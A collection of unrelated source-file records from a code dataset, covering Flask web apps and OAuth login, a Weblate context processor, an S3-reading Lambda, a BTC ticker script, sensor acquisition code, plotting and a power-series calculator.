+{"seq_id":"404057660","text":"# ruta_notven='/home/ubuntu/tablas/NOTVNDAS.DBF'\n# ruta_inventario='/home/ubuntu/tablas/IN1.DBF'\n# ruta_cat_meseros='/home/ubuntu/tablas/cat_meseros.csv'\nruta_notven='C:\\\\Users\\\\Mauricio\\\\Desktop\\\\Tablas DBF\\\\NOTVNDAS.DBF'\nruta_inventario='C:\\\\Users\\\\Mauricio\\\\Desktop\\\\Tablas DBF\\\\IN1.DBF'\nruta_materia='C:\\\\Users\\\\Mauricio\\\\Desktop\\\\Tablas DBF\\\\MATERIA.DBF'\nruta_cat_meseros='C:\\\\Users\\\\Mauricio\\\\Desktop\\\\Tablas DBF\\\\cat_meseros.csv'\nusuario='postgres'\ncontrasena='12345'\npuerto='5432'\nbase_datos='Dasboard-Toscalia'\ndf_columna_platillo: 'PLATILLO'\ndf_columna_precio: 'PRECIO'\ndf_columna_cantidad: 'CANTIDAD'\ndf_columna_fecha: 'FECHA'\ndf_columna_mesero: 'MESERO'\ndf_columna_hora: 'HORA'\ndf_columna_mesa: 'MESA'\ndf_columna_notven: 'NOTVEN'\ndf_columna_pers: 'PERS'\ndf_columna_grupplat: 'GRUPPLAT'\ndf_columna_partida: 'PARTIDA'\ndf_columna_descuento: 'DESC'\ndf_columna_clave: 'CLAVE'\ndf_columna_descr: 'DESCR'\ndf_columna_costo: 'COSTO'\ndf_columna_unidad: 'UNIDAD'\nSQL_columna_id: 'id'\nSQL_columna_clave: 'clave'\nSQL_columna_precio: 'precio'\nSQL_columna_cantidad: 'cantidad'\nSQL_columna_fecha: 'fecha'\nSQL_columna_mesero: 'mesero'\nSQL_columna_hora: 'hora'\nSQL_columna_mesa: 'mesa'\nSQL_columna_notven: 'notven'\nSQL_columna_pers: 'pers'\nSQL_columna_grupplat: 'grupplat'\nSQL_columna_partida: 'partida'\nSQL_columna_descuento: 'descuento'\nSQL_columna_descr: 'descr'\nSQL_columna_costo: 'costo'\nSQL_columna_unidad: 'unidad'\nSQL_columna_dia_vendido: 'dia_vendido'\nSQL_columna_mes_vendido: 'mes_vendido'\nSQL_columna_anio_vendido: 'anio_vendido'\nSQL_columna_utilidad: 'utilidad'\nSQL_columna_hora_vendido: 'hora_vendido'\nSQL_columna_nombre_mesero: 'nombre_mesero'","sub_path":"src/rutas.py","file_name":"rutas.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"51205707","text":"\n# def chart(e_to_dn, read_noise, color=\"orange\"):\n#     electrons = range(1, 40000,100)\n#     dns = [x/e_to_dn for x in electrons]\n#     snr = [build_snr(x, read_noise) for x in electrons]\n\n#     return graph_objs.Scatter(\n#       x=dns,\n#       y=snr,\n#       marker={\"color\":color})\n\n# data = [chart(10.7, 20, \"orange\"), chart(7.5, 0, \"blue\")]\n\n\n# TDI8_x = []\n# TDI8_y = []\n# TDI10_x = []\n# TDI10_y = []\n\nfrom plotly import graph_objs as go\nfrom plotly import offline\nimport math\n\ndef build_snr(electrons, read_noise):\n    shot_noise = math.sqrt(electrons)\n    return electrons/math.sqrt(read_noise**2 + shot_noise**2)\n\nelectron_count = []\nsnr_improvement = []\n\nfor TDI_1_electrons in range(1, 4000,10):\n    TDI_8_electrons = TDI_1_electrons * 8\n    TDI_10_electrons = TDI_1_electrons * 10\n\n    SNR_8 = build_snr(TDI_8_electrons, read_noise=0)\n    SNR_10 = build_snr(TDI_10_electrons, read_noise=20)\n\n    electron_count.append(TDI_1_electrons)\n    snr_improvement.append(SNR_10 - SNR_8)\n\ndata = [\n    go.Scatter(\n      x=electron_count,\n      y=snr_improvement,\n      marker={\"color\": \"red\"})]\n\nlayout = go.Layout(\n    title='TDI 8 vs TDI 10 configuration',\n    xaxis=dict(title='TDI 1 electrons'),\n    yaxis=dict(title='SNR improvement')\n)\nfig = go.Figure(data=data, layout=layout)\n\noffline.plot(fig)\n\n\n\n# data = [\n#     graph_objs.Scatter(\n#       x=TDI8_x,\n#       y=TDI8_y,\n#       marker={\"color\": \"blue\"}),\n#     graph_objs.Scatter(\n#       x=TDI10_x,\n#       y=TDI10_y,\n#       marker={\"color\": \"orange\"})]\n    # DN_8 = TDI_8_electrons/7.5\n    # DN_10 = TDI_8_electrons/10.7\n","sub_path":"sciences/tweet_charts/snr_save.py","file_name":"snr_save.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"455533399","text":"# -*- coding: utf-8 -*-\n#\n# Copyright © 2012 - 2019 Michal Čihař <michal@cihar.com>\n#\n# This file is part of Weblate <https://weblate.org/>\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n#\n\nfrom django.conf import settings\nfrom django.urls import reverse\nfrom django.utils.translation import override\n\n\nfrom weblate_web.data import VERSION, EXTENSIONS, SCREENSHOTS\nfrom weblate_web.models import Donation\n\n\ndef weblate_web(request):\n    if request.resolver_match and request.resolver_match.url_name:\n        match = request.resolver_match\n        url_name = ':'.join(match.namespaces + [match.url_name])\n        url_kwargs = match.kwargs\n    else:\n        url_name = 'home'\n        url_kwargs = {}\n\n    with override('en'):\n        canonical_url = reverse(url_name, kwargs=url_kwargs)\n\n    language_urls = []\n    for code, name in settings.LANGUAGES:\n        with override(code):\n            language_urls.append({\n                'name': name,\n                'code': code,\n                'url': reverse(url_name, kwargs=url_kwargs),\n            })\n\n    downloads = [\n        'Weblate-{0}.{1}'.format(VERSION, ext) for ext in EXTENSIONS\n    ]\n    return {\n        'downloads': downloads,\n        'screenshots': SCREENSHOTS,\n        'canonical_url': canonical_url,\n        'language_urls': language_urls,\n        'donate_links': Donation.objects.filter(\n            active=True, reward__thanks_link=True\n        ),\n    }\n","sub_path":"weblate_web/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"536888094","text":"#!/usr/bin/env python\nimport os\nimport shutil\nimport subprocess\nimport errno\nimport re\nimport argparse\n\nimport executor\nimport executor.concurrent\n\nimport subsequences\n\ndef execute_matlab(image_path, results_path, command_pool=None):\n    args = subsequences.generate_matlab_command('try, find_features(\\'{}\\', 100  ), catch ME, getReport(ME), end;'.format(image_path))\n    if command_pool is None:\n        p = subprocess.Popen(args, cwd=results_path, env=subsequences.MATLAB_ENVIRONMENT)\n        p.wait()\n    else:\n        command_pool.add(executor.ExternalCommand(*args, directory=results_path, environment=subsequences.MATLAB_ENVIRONMENT))\n\ndef process_images(subsequence_folder, results_path, command_pool=None):\n    subsequences.make_dir_path(results_path)\n    for filename in subsequences.file_names(subsequence_folder, '', '.jpg'):\n        execute_matlab(os.path.join(subsequence_folder, filename), results_path, command_pool)\n\ndef main(args):\n    command_pool = executor.concurrent.CommandPool()\n    for (subsequence, start, end, subsampling) in subsequences.generate_subsequences_from_args(args):\n        subsequence_folder_name = subsequences.subsequence_folder_name(start, args.length, args.subsampling)\n        dir = os.path.join(subsequences._DATASETS_PATH, args.name)\n        subsequence_folder = os.path.join(dir, subsequence_folder_name)\n        results_path = os.path.join(subsequences._OUTPUT_PATH, str(start), 'Input')\n        process_images(subsequence_folder, results_path, command_pool)\n    command_pool.run()\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    subsequences.add_subsequence_args(parser)\n    args = parser.parse_args()\n\n    main(args)\n","sub_path":"video_popup/run_matlab_input.py","file_name":"run_matlab_input.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"200855141","text":"#! /usr/bin/env python\n\nfrom urllib import request\nimport json as simplejson\nimport sys\n\ndata_source = 'https://api.kraken.com/0/public/Ticker?pair=XXBTZEUR'\nreq = request.Request(data_source, None, {'user-agent': 'text/json'})\n\nopener = request.build_opener()\nf = opener.open(req).read().decode(\"utf-8\")\ndata = simplejson.loads(f)\n\nif sys.argv[1] == \"price\":\n    price = data['result']['XXBTZEUR']['c'][0]\n    print(\"{0:.2f}\".format(float(price)))\nelif sys.argv[1] == \"high\":\n    high = data['result']['XXBTZEUR']['h'][0]\n    print(\"{0:.2f}\".format(float(high)))\nelif sys.argv[1] == \"low\":\n    low = data['result']['XXBTZEUR']['l'][0]\n    print(\"{0:.2f}\".format(float(low)))\nelif sys.argv[1] == \"vol\":\n    volume = data['result']['XXBTZEUR']['v'][1]\n    print(\"{0:.2f}\".format(float(volume)))\n","sub_path":"scripts/btcprices.py","file_name":"btcprices.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"11722351","text":"from sync_bitalino import * \nfrom write_file import * \nimport time\nfrom read_modules import * \nfrom sync_drift import * \nfrom bitalino import *\nfrom system_except import * \nimport sys\nimport numpy as np\nfrom datetime import datetime, timedelta\n\n\n\n\ndef start_system(devices, a_file, drift_log_file, fs, mac_channels, sensors, save_fmt, header):\n\n    dig_Out = 0\n    now = datetime.now()\n    sync_param = {'flag_sync' : 0 , 'inittime' : time.time(), 'strtime': time.time(), 'sync_time' : now.strftime(\"%Y-%m-%d %H:%M:%S.%f\").rstrip('0'), 'dig_Out' : dig_Out, 'close_file' : 0, 'mode': 0, 'diff': 1000, 'save_log': 1, 'count_a': 1000, 'sync_append': 0}\n    # mode: 0 if not started acquisition yet (or if paused) and 1 otherwise (used to write in drift_log_file)\n    \n    for i in range(len(devices)):\n        sync_param['sync_arr_'+chr(ord('@')+i+1)] = np.zeros(1000, dtype = float)\n        \n    \n    sync_param['dig_Out'] = sync_bitalino(dig_Out, devices[0])\n        \n    # Initialize devices\n    for device in devices:\n        channels = [int(elem[1])-1 for elem in mac_channels if elem[0]==device.macAddress]\n        device.start(SamplingRate=fs, analogChannels=channels)\n        print('START SYSTEM')\n    \n    try:\n        #Default to 0\n        sync_param['dig_Out'] = sync_bitalino(sync_param['dig_Out'], devices[0])\n    \n    except Exception as e:\n        print(e)\n        pass\n    \n    now = datetime.now()\n    print('start {}'.format(datetime.now()))\n    sync_param['sync_time'] = now.strftime(\"%Y-%m-%d %H:%M:%S.%f\")\n    print(now.strftime(\"%Y-%m-%d %H:%M:%S.%f\"))\n    t, t_str, t_display = read_modules(devices, mac_channels, sensors, header)\n    \n    \n    #sync_param['diff'], sync_param['count_a'] = sync_drift(t)\n    sync_param['save_log'] = 1\n\t\t\t\n    write_file(t, a_file, drift_log_file, sync_param, str(sync_param['inittime']), save_fmt)\n    print('System initiated')                    \n    \n    return t, t_display, sync_param\n\t\n","sub_path":"epibox/start_system.py","file_name":"start_system.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"217990127","text":"import datetime\n\nfrom flask import (Blueprint,\n                   render_template,\n                   url_for,\n                   redirect,\n                   )\nfrom flask_login import login_user, logout_user, login_required, current_user\n\nfrom pichayon import models\nfrom .. import oauth2\nfrom .. import forms\n\nmodule = Blueprint('accounts', __name__)\n\n\ndef get_user_and_remember():\n    client = oauth2.oauth2_client\n    result = client.principal.get('me')\n    # print('got: ', result.json())\n    data = result.json()\n\n    user = models.User.objects(\n            username=data.get('username', '')).first()\n    if not user:\n        user = models.User(id=data.get('id'),\n                           first_name=data.get('first_name'),\n                           last_name=data.get('last_name'),\n                           email=data.get('email'),\n                           username=data.get('username'),\n                           status='active')\n        roles = []\n        for role in ['student', 'lecturer', 'staff']:\n            if role in data.get('roles', []):\n                roles.append(role)\n\n        user.save()\n\n    if user:\n        login_user(user, remember=True)\n\n\n@module.route('/login', methods=('GET', 'POST'))\ndef login():\n    if current_user.is_authenticated:\n        return redirect(url_for('dashboard.index'))\n\n    return render_template('/accounts/login.html')\n\n\n# @module.route('/login-principal')\n# def login_principal():\n#     client = oauth2.oauth2_client\n#     redirect_uri = url_for('accounts.authorized_principal',\n#                            _external=True)\n#     response = client.principal.authorize_redirect(redirect_uri)\n\n#     return response\n\n\n@module.route('/login-engpsu')\ndef login_engpsu():\n    client = oauth2.oauth2_client\n    redirect_uri = url_for('accounts.authorized_engpsu',\n                           _external=True)\n    response = client.engpsu.authorize_redirect(redirect_uri)\n    return response\n\n# @module.route('/authorized-principal')\n# def authorized_principal():\n#     client = oauth2.oauth2_client\n\n#     try:\n#         token = client.principal.authorize_access_token()\n#     except Exception as e:\n#         print(e)\n#         return redirect(url_for('accounts.login'))\n\n#     get_user_and_remember()\n#     oauth2token = models.OAuth2Token(\n#             name=client.principal.name,\n#             user=current_user._get_current_object(),\n#             access_token=token.get('access_token'),\n#             token_type=token.get('token_type'),\n#             refresh_token=token.get('refresh_token', None),\n#             expires=datetime.datetime.utcfromtimestamp(\n#                 token.get('expires_at'))\n#             )\n#     oauth2token.save()\n\n#     return redirect(url_for('dashboard.index'))\n\n\n@module.route('/authorized-engpsu')\ndef authorized_engpsu():\n    client = oauth2.oauth2_client\n    try:\n        token = client.engpsu.authorize_access_token()\n    except Exception as e:\n        print(e)\n        return redirect(url_for('accounts.login'))\n\n    userinfo_response = client.engpsu.get('userinfo')\n    userinfo = userinfo_response.json()\n\n    user = models.User.objects(username=userinfo.get('username')).first()\n\n    if not user:\n        user = models.User(\n                username=userinfo.get('username'),\n                email=userinfo.get('email'),\n                first_name=userinfo.get('first_name'),\n                last_name=userinfo.get('last_name'),\n                status='active')\n        user.resources[client.engpsu.name] = userinfo\n        # if 'staff_id' in userinfo.keys():\n        #     user.roles.append('staff')\n        # elif 'student_id' in userinfo.keys():\n        #     user.roles.append('student')\n        if userinfo['username'].isdigit():\n            user.roles.append('student')\n        else:\n            user.roles.append('staff')\n\n        user.save()\n\n    login_user(user)\n\n    oauth2token = models.OAuth2Token(\n            name=client.engpsu.name,\n            user=user,\n            access_token=token.get('access_token'),\n            token_type=token.get('token_type'),\n            refresh_token=token.get('refresh_token', None),\n            expires=datetime.datetime.fromtimestamp(\n                token.get('expires_in'))\n            )\n    oauth2token.save()\n\n    return redirect(url_for('dashboard.index'))\n\n\n@module.route('/logout')\n@login_required\ndef logout():\n    logout_user()\n    return redirect(url_for('site.index'))\n\n\n@module.route('/accounts')\n@login_required\ndef index():\n\n    return render_template('/accounts/index.html')\n\n\n@module.route('/accounts/edit-profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n    form = forms.accounts.Profile(\n            obj=current_user,\n            )\n    if not form.validate_on_submit():\n        return render_template('/accounts/edit-profile.html', form=form)\n\n    user = current_user._get_current_object()\n    user.first_name = form.first_name.data\n    user.last_name = form.last_name.data\n\n    user.save()\n\n    return redirect(url_for('accounts.index'))\n","sub_path":"pichayon/web/views/accounts.py","file_name":"accounts.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"184279201","text":"import frappe\nfrom datetime import datetime\n\ndef get_context(context):\n\n\tcur_hour = datetime.today().hour\n\n\tstarting_at = str(cur_hour) if cur_hour > 9 else \"0\" + str(cur_hour)\n\tending_at = str(cur_hour+1) if cur_hour+1 > 9 else \"0\" + str(cur_hour+1)\n\tcur_slot = datetime.today().strftime('%Y-%m-%d') + \"-\" + starting_at + \"-\" + ending_at\n\n\tcontext[\"cur_slot\"] = cur_slot\n\n\treturn context","sub_path":"token_system/www/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"52815971","text":"import boto3\nimport json\nimport os\nfrom pprint import pprint\nimport yaml\nimport json\n\ndef filter_cre_id(cre_file,cre_id):\n    res = []\n    cres = \"\"\n    try:\n        cres = list(yaml.safe_load_all(cre_file))[0].values()\n    except Exception as ex:\n        pprint(ex) # probably malformed file\n    for thing in cres:\n        for cre in thing:\n            if cre_id in cre.get('CRE'):\n                res.append(cre)\n    return res\n\ndef filter_all(cre_file):\n    res = []\n    cres = \"\"\n    try:\n        cres = list(yaml.safe_load_all(cre_file))[0].values()\n    except Exception as ex:\n        pprint(ex) # probably malformed file\n    for thing in cres:\n        for cre in thing:\n                res.append(cre)\n    return res\n    \ndef filter_cre_contains_tag(cre_file, tag):\n    res = []\n    cres = \"\"\n    try:\n        cres = list(yaml.safe_load_all(cre_file))[0].values()\n    except Exception as ex:\n        pprint(ex) # probably malformed file\n    for thing in cres:\n        for cre in thing:\n            if tag in cre['metadata']['tags']:\n                res.append(cre)\n    return res\n\ndef cre_to_json_str(cre):\n    res = json.dumps(cre)\n    return res or \"\"\n\ndef list_files(bucket):\n    s3 = boto3.client('s3')\n    objects = s3.list_objects_v2(Bucket=bucket)\n    return objects\n\ndef get_file(bucket,file_obj):\n    s3_res = boto3.resource('s3')\n    return s3_res.Object(bucket,file_obj['Key']).get()['Body'].read().decode()\n\ndef lambda_handler(event, context):\n    ret = {\n             'statusCode': 200,\n             'body':\"\",\n         }\n    # return ret\n    cres = []\n    try:\n        cre_id=event.get(\"queryStringParameters\").get('cre')\n        tag=event.get(\"queryStringParameters\").get('tag')\n        # return ret\n        bucket = os.environ.get(\"bucket_name\")\n        objects = list_files(bucket)\n        for file_obj in objects.get('Contents'):\n            obj=[]\n            cre_file = get_file(bucket,file_obj)\n            if cre_id:\n                print(\"Filtering By CREID\")\n                obj = filter_cre_id(cre_file,cre_id)\n            elif tag:\n                print(\"Filtering By Tag\")\n                obj = filter_cre_contains_tag(cre_file,tag)\n            # else:\n            #     obj=filter_all(cre_file)\n            if obj:\n                cres.extend(obj)\n        return_obj = []\n        for cre in cres:\n            return_obj.append(cre)\n        ret['body'] = ret['body'] + cre_to_json_str(return_obj)\n    except Exception as ex:\n        ret['body'] = str(ex)\n        \n    return ret\n","sub_path":"scripts/lambda/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"29579226","text":"from Rambler.ciHomeBase import ciHomeBase\nfrom Rambler import Server\nfrom time import time\nfrom omniORB import CORBA\nfrom Money import Money, getCurrency\n\nclass MoneyWidget(object):\n\n    interface = \"MoneyWidget\"\n\n    def __init__(self, pk):\n        self._set_primaryKey(pk)\n        self._money = None\n\n    def _get_primaryKey( self ):\n        return self._primaryKey\n\n    def _set_primaryKey(self, pk):\n        self._primaryKey = pk\n\n\n    def _get_home():\n        return Server.getHome(\"moneyWidgetHome\")\n\n    _get_home = staticmethod(_get_home)\n\n    def _get_money( self ):\n        return self._money\n\n    def _set_money( self, money ):\n        try:\n            CORBA.id(money)\n            currency = getCurrency(money.currencyCode)\n            m = Money(0, currency)\n            m._setState(money.amount, currency)\n            money = m\n        except CORBA.BAD_PARAM:\n            pass\n        \n        self._money = money\n\nclass MoneyWidgetHome(ciHomeBase):\n    # If this object needs to be registered, the following 2 are also needed.\n\n    homeId = \"moneyWidgetHome\"\n    interface = \"MoneyWidgetHome\"\n    entityClass = MoneyWidget\n\n    def create( self, money):\n        try:\n            CORBA.id(money)\n            currency = getCurrency(money.currencyCode)\n            m = Money(money.amount, currency)\n            money = m\n        except CORBA.BAD_PARAM:\n            pass\n        \n        pk = '%.5f' % time()\n        moneyWidget = MoneyWidget(pk)\n        moneyWidget._set_money(money)\n\n        self.PersistenceService.create(moneyWidget)\n\n        # Notify our observers that a new entity has been created\n        #self._notifyCreate(moneyWidget)\n        return moneyWidget\n","sub_path":"Rambler/tests/MoneyWidget.py","file_name":"MoneyWidget.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"439038959","text":"# -*- coding: utf-8 -*-\n\nimport os\nfrom application import app, db\nfrom application.models import *\nfrom flask.ext.script import Manager, Shell\nfrom flask.ext.migrate import Migrate, MigrateCommand\n\napp.debug = True\nmanager = Manager(app)\nmigrate = Migrate(app, db)\n\ndef make_shell_context():\n\treturn dict(app=app, db=db)\n\nmanager.add_command('shell', Shell(make_context=make_shell_context))\nmanager.add_command('db', MigrateCommand)\n\n\n@manager.command\ndef dropdb():\n    if prompt_bool(\n        \"Are you sure you want to lose all your data\"):\n        db.drop_all()\n\n@manager.command\ndef create(default_data=True, sample_data=False):\n    \"Creates database tables from sqlalchemy models\"\n    db.create_all()\n    populate(default_data, sample_data)\n\n@manager.command\ndef recreate(default_data=True, sample_data=False):\n    \"Recreates database tables (same as issuing 'drop' and then 'create')\"\n    drop()\n    create(default_data, sample_data)\n\n# run the application!\nif __name__ == '__main__':\n    # Bind to PORT if defined, otherwise default to 5000.\n    manager.run()\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"77360095","text":"#!/usr/bin/env python\nfrom importlib import import_module\nimport os\nimport sys\nfrom flask import Flask, render_template, Response\n\n# import camera driver\nif os.environ['SRC'] == 'video':\n    # Camera = import_module('camera_' + os.environ['CAMERA']).Camera\n    from camera_opencv import Camera\nelif os.environ['SRC'] == 'images':\n    from camera import Camera\nelse:\n    sys.exit()\n# Raspberry Pi camera module (requires picamera package)\n# from camera_pi import Camera\n\napp = Flask(__name__)\n\n\n@app.route('/webpage')\ndef webpage():\n    \"\"\"Video streaming home page.\"\"\"\n    return render_template('index.html')\n\n\ndef gen(camera):\n    \"\"\"Video streaming generator function.\"\"\"\n    while True:\n        frame = camera.get_frame()\n        yield (b'--frame\\r\\n'\n               b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n\n@app.route('/')\ndef index ():\n    \"\"\"Video streaming route. Put this in the src attribute of an img tag.\"\"\"\n    return Response(gen(Camera()),\n                    mimetype='multipart/x-mixed-replace; boundary=frame')\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', threaded=True, port=int(os.environ['PORT']), debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"339134280","text":"import cv2\nimport numpy as np \nimport os\n\nbig_img_path = '/media/ubuntu/CZHhy/Saliency/SALICON/salicon_data/images/test/'\nsmall_img_path = '/media/ubuntu/CZHhy/Saliency/SALICON/salicon_data/images/test_scale/' \ntxt_path = '/media/ubuntu/CZHhy/GAN/BorjiGAN/Code/result/'\n\nfile = open(txt_path + 'SALICON_5000_name_list.txt', 'w')\nfor name in os.listdir(big_img_path):\n    print(name)\n    big_img = cv2.imread(big_img_path + name)\n    context = name + '\\n'\n    file.write(context)\n    small_img = cv2.resize(big_img, (320, 240), interpolation=cv2.INTER_CUBIC)\n    cv2.imwrite(small_img_path + name, small_img)\nfile.close()\n    ","sub_path":"version1/img_scale.py","file_name":"img_scale.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"651484964","text":"import sys\nDEBUG = False\n\ndef log(*args, **kwargs):\n    \"\"\" Simple debugging. Use this instead of `print`, please. \"\"\"\n    if not DEBUG:\n        return\n    print(*args, **kwargs)\n\nclass TimeoutError(Exception):\n    pass\n\ndef calc_power_series(coefficients, x):\n    \"\"\" Calculate value of power series with given coefficients.\n        Supports approximating infinite power series with\n        Domb-Sykes method.\n        (For details, see https://en.wikipedia.org/wiki/Radius_of_convergence#Domb.E2.80.93Sykes_plot) \n        \n        If `coefficients` is a list or tuple or any iterable that implements `__len__` or `__length_hint__`, \n            this assumes finiteness and returns the exact value of power series.\n        If not, assumes infiniteness and returns estimation.\n\n\n        result = c_0 + c_1 * x + c_2 + x ** 2 + ...\n        coefficients: (aliased as `coeffs` in code) \n            list (or generator) of numbers\n\n        \"\"\"\n\n    coeffs = coefficients # alias because too long\n    coeffs_cache = [] # cache to avoid calling generator twice\n    # There's probably better ways of caching \n\n    # Try to guess if coefficient is finite \n    # Supports list, tuple, etc.\n    is_finite = hasattr(coeffs, '__len__') or hasattr(coeffs, '__length_hint__')\n\n    # Validation for inifinite power series\n    # Estimate radius of convergence and test if x is in range of (-1/r, 1/r)  \n    r = float('inf') # init r\n    err = \"x is (-r, r) or coefficients is list or finite\"\n    if not is_finite:\n        # Domb-Sykes radius of convergence estimation\n        radius_estimation = 10\n        for _ in range(radius_estimation):\n            coeffs_cache.append(next(coeffs))\n\n        X = [] # inverse of n\n        Y = [] # c_n / c_(n-1)\n        for n in range(1, len(coeffs_cache)):\n            X.append(1/(n+1))\n            Y.append(coeffs_cache[n] / coeffs_cache[n-1])\n\n        line = fit(X, Y)\n        r = 1 / line(0) # estimated radius of convergence\n        if r > 0 and not -r < x < r:\n            raise ValueError(err)\n\n    if is_finite: \n        # Finite power series is trivial to calculate\n        finite = coeffs[0]\n        for i, c in enumerate(coeffs[1:]):\n            finite += c * x ** (i+1)\n        result = finite\n    else:\n        infinite = 0\n        threshold = 1000 # If it takes too long, stop\n        err = 0.0000001 # Error boundary\n        i = 0 \n        for c in coeffs_cache:\n            last_infinite = infinite\n            infinite += c * x ** i\n            i += 1\n\n        try:\n            while abs(infinite - last_infinite) > err:\n                last_infinite = infinite\n                c = next(coeffs)\n                infinite += c * x ** i\n                i += 1\n                if(i > threshold):\n                    raise TimeoutError() \n        except TimeoutError:\n            log('TimeoutError Raised!')\n            del infinite # in case I accidently use this\n        else:\n            result = infinite\n\n\n    # For debugging\n    if not isinstance(coeffs, (list, tuple)) and \"infinite\" not in locals():\n        # Oh no, too much iteration in infinite \n        suggested_fix_template = \"10 * {error}\"\n        log(\"Too much iteration! You might want to adjust error percision with formula %s\" % suggested_fix_template)\n        # Render template\n        suggested_error_precision = eval(suggested_fix_template.format(error=err))\n        log(\"which is %s\" % suggested_error_precision)\n\n        #sanity_check_template = \"100 * {suggested_fix}\"\n        sanity_check_template = \"1 * {suggested_fix}\" # 100 was too big. Needs more testing\n        log(\"If %s is bigger than 1, there's something wrong.\" % sanity_check_template)\n        log(\"Note that Domb-Sykes method assumes the sequence to have same or alternating signs\")\n        sanity_check = eval(sanity_check_template.format(suggested_fix=suggested_error_precision)) # Render template\n        print(sanity_check)\n\n    return result\n\n\ndef fit(X, Y):\n    \"\"\" Simple linear regression \"\"\"\n    mean_x = sum(X) / len(X)\n    mean_y = sum(Y) / len(Y)\n\n    b = sum((x - mean_x) * (y - mean_y) for (x, y) in zip(X, Y)) / sum((x-mean_x)**2 for x in X)\n    a = mean_y - b * mean_x\n    return lambda x: a + b*x\n\n\nif __name__ == '__main__':\n    \"\"\" Run this to test this script \"\"\"\n\n    # Test fit\n    assert(fit([1, 2, 3, 4], [5, 6, 7, 8])(9) == 13) # y = x + 4\n    assert(fit([1, 3, 2, 4], [5, 6, 7, 8])(9) == 11.7) # y = 0.8x + 4.5\n\n    # Test calc_power_series\n    ## finite series\n    assert(calc_power_series([1, 2, 3, 4], 5) == 586) # list\n    assert(calc_power_series((1, 2, 3, 4), -1) == -2) # tuple also works\n    assert(calc_power_series([1, 2, 3, 4], 0.1) == 1.234) # float works \n\n    ## infinite series\n    def yield_infinite_ones():\n        # cf: 1+ x+ x**2 + x**3 + ... == 1 / (1-x) \n        while True:\n            yield 1\n\n    epsilon = 0.001 # precision\n    assert(abs(calc_power_series(yield_infinite_ones(), 0.9) - 10) < epsilon) # 1 / (1-0.9) == 10\n\n    ## x in invalid range \n    try:\n        calc_power_series(yield_infinite_ones(), 1.1) # 1 / (1 - 1.1) < 0 !!!\n    except ValueError:\n        pass\n    else:\n        print('x in invalid range didn\\'t raise an exception!')\n        assert(False)\n\n\n    if len(sys.argv) > 0:\n        calc_power_series(sys.argv[1], 1)","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"403305133","text":"from FlashSelenium import FlashSelenium\nfrom selenium import selenium\n\nurl = \"http://flashselenium.t35.com/colors.html\"\nbrowserType = \"*firefox\"\n\nselenium = selenium(\"localhost\", 4444, browserType, url)\nselenium.start()\nselenium.open(url)\n\nflashApp = FlashSelenium(selenium, \"coloredSquare\")\nflashApp.percent_loaded()","sub_path":"testflash.py","file_name":"testflash.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
